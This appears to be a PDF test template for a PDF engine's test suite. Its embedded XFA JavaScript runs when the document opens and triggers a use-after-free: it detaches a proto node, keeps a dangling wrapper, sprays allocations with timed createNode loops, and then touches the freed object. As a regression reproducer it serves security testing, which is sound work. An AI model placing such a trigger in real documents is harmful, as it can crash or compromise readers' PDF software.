| {{header}} |
| {{include xfa_catalog_1_0.fragment}} |
| {{include xfa_object_2_0.fragment}} |
| {{include xfa_preamble_3_0.fragment}} |
| {{include xfa_config_4_0.fragment}} |
| {{object 5 0}} << |
| {{streamlen}} |
| >> |
| stream |
| <template xmlns="http://www.xfa.org/schema/xfa-template/3.3/"> |
| <subform layout="tb" name="my_doc"> |
| <pageSet id="page" relation="orderedOccurrence"> |
| <occur initial="1" max="1" min="1"/> |
| <pageArea id="Page1" name="Page1"> |
| <occur max="1" min="1"/> |
| <contentArea h="100mm" w="200mm" x="0.25in" y="0.25in"/> |
| </pageArea> |
| </pageSet> |
| <subform name="S"> |
| <proto> |
| <subform name="vchild"/> |
| </proto> |
| </subform> |
| <event activity="docReady" ref="$host"> |
| <script contentType="application/x-javascript"><![CDATA[ |
| try { |
| var ts = xfa.resolveNode("$template.my_doc.S"); |
| var L = ts.nodes; // CXFA_AttachNodeList |
| // Obtain the victim via list.item() which goes through |
| // CFXJSE_Engine::NewNormalXFAObject. |
| var v = null; |
| for (var i = 0; i < L.length; ++i) { |
| var c = L.item(i); |
| if (c.className == "proto") { v = c; break; } |
| } |
| L.remove(v); |
| // Stash the unsafe wrapper on the AcroForm global so it survives |
| // across script turns (the v8 wrapper is rooted, the CJX_Object is not). |
| __stash__ = v; |
| __pump__ = "for (var j = 0; j < 30000; ++j) xfa.template.createNode('subform','p');"; |
| __hit__ = "try { __stash__.className; } catch(e) {}"; |
| for (var k = 0; k < 25; ++k) { |
| app.setTimeOut(__pump__, 100 + k * 120); |
| app.setTimeOut(__hit__, 150 + k * 120); |
| } |
| } catch (e) { |
| app.alert("setup error: " + e); |
| } |
| ]]></script> |
| </event> |
| </subform> |
| </template> |
| endstream |
| endobj |
| {{include xfa_locale_6_0.fragment}} |
| {{include xfa_postamble_7_0.fragment}} |
| {{include xfa_pages_8_0.fragment}} |
| {{object 9 0}} << |
| /Type /Page |
| /Parent 8 0 R |
| /MediaBox [0 0 612 792] |
| >> |
| endobj |
| {{xref}} |
| {{trailer}} |
| {{startxref}} |
| %%EOF |